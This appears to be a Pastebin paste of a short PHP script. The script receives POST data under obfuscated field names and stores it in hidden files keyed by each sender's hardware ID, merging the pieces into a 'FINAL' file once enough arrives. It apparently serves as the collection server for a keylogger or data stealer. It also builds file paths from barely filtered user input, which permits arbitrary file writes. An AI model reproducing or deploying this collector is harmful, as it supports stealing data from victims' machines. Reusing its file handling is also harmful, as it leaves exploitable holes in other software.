Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ini_set ('display_errors' , 1);
- error_reporting(E_ALL);
- $lee = $_POST['lekapekeU'];
- $Input = str_replace('\0', '', $_POST['maMpwiru']);
- $Input = str_replace(chr(26), '', $Input);
- $pat = '#\(([^a-zA-Z\d]+)\)#';
- $HwID = preg_replace($pat, '', $_POST['hwoIpkeu']);
- //file_put_contents($fi,'['. date('Y-m-d H:i:s'). ']' .$Acc . "\n\0". $Input . "\0\n\n");
- if(empty($lee) || empty($Input) || empty($HwID))
- return;
- $fi = 'kpekDme/.' . $HwID . '.txt';
- if(!file_exists($fi)) {
- file_put_contents($fi, $Input);
- }
- if(file_exists($fi) && $lee > filesize($fi)) {
- if($lee >= 3000) {
- $fina = 'kpekDme/.' . $HwID . 'FINAL.txt';
- file_put_contents($fina, $Input, FILE_APPEND);
- unlink($fi);
- }
- } else {
- file_put_contents($fi, $Input);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement